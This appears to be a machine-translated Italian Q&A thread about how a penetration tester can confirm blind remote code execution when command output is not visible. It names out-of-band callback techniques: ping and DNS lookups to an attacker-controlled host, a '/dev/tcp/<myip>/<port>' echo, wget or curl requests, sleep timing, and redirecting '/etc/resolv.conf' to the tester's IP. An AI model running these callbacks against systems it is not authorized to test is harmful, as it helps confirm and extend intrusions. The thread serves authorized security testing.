Verifica l'esecuzione di codice "cieco"

2

Supponiamo che la seguente situazione: stai facendo un pentest black-box. Hai scoperto che il cliente esegue il software X e X ha una vulnerabilità legata all'esecuzione di codice in modalità remota, ma la natura di questa esecuzione del codice è che stderr e stdout non possono essere rinviati all'attaccante. In questo senso, l'esecuzione funziona ma non vedrai mai l'output dei comandi che esegui.

Per rendere le cose ancora più difficili, supponiamo che tu non possa conoscere il sistema operativo (e il software X funziona su tutte le principali piattaforme).

Che cosa puoi fare per verificare se l'esecuzione del codice funziona effettivamente? Ho trovato 2 modi per farlo, almeno in teoria.

  1. Esegui un ping <some IP> dove si trova una casella sotto il tuo controllo. Dovresti modificare il livello di rete di quella casella in modo da poter rilevare un ping in arrivo dalla macchina della vittima di destinazione.
  2. Esegui un nslookup somename.yourdomain.com sei il proprietario di tuodominio.com. Anche in questo caso, il server DNS è configurato in modo tale da essere avvisato quando arriva una richiesta DNS per somename.yourdomain.com .
  3. Su linux / unix posso provare echo sth > /dev/tcp/<myip>/<port> , sperando che > il personaggio non è disinfettato da qualche parte lungo la strada. E questo non funziona su Windows.

La mia domanda è: ci sono modi più semplici per raggiungere lo stesso obiettivo?

    
posta kaidentity 04.11.2016 - 22:29
fonte

2 risposte

2

Il comando sleep funziona sia su Linux che su Windows. Il tempo per il software di rispondere normalmente rispetto all'utilizzo del comando sleep indica che l'esecuzione del codice funziona.

Questo non richiederebbe alcun traffico di rete per mostrare che funzionava, il che potrebbe essere un vantaggio se il traffico in uscita è bloccato da un firewall.

    
risposta data 05.11.2016 - 02:41
fonte
1

Altre alternative, ma sarebbe necessario che gli strumenti fossero presenti sulla macchina vittima.

  1. Usa wget o arriccia e accedi al tuo server HTTP. Puoi facilmente controllare i log se c'è una richiesta da parte della macchina vittima. La difficoltà qui è che un buon sysad rimuoverebbe wget o curl da una macchina di produzione.
  2. Simile a 1, puoi provare una richiesta ssh o telnet alla tua macchina e controllare i log. Ancora una volta, un buon sysad rimuove i client ssh e telnet.
  3. Ciò dipenderà dall'applicazione a cui hai accesso. Caso migliore, c'è un server web in esecuzione sulla macchina vittima, e in tal caso basta digitare o cat in un file e posizionarlo dove si pensa sia la web root. L'idea è la verifica dell'esecuzione dei comandi tramite la scrittura nel filesystem e l'utilizzo di altri servizi da controllare.
  4. Se l'applicazione vulnerabile ha i privilegi di root, puoi echo il tuo IP in /etc/resolv.conf e aprire listener alla porta 53.

In base a ciò che hai fornito, vorrei anche ipotizzare il sistema operativo utilizzando il fingerprinting ping. Il TTL di 128 sarebbe Windows, 64 * Nix. Se non risponde ai pacchetti ICMP, quindi, non può farlo.

So che questi richiedono più dipendenze, ma penso che siano più facili in termini di controllo e convalida se il codice viene eseguito. Spero che questo aiuti.

    
risposta data 11.11.2016 - 08:39
fonte

Leggi altre domande sui tag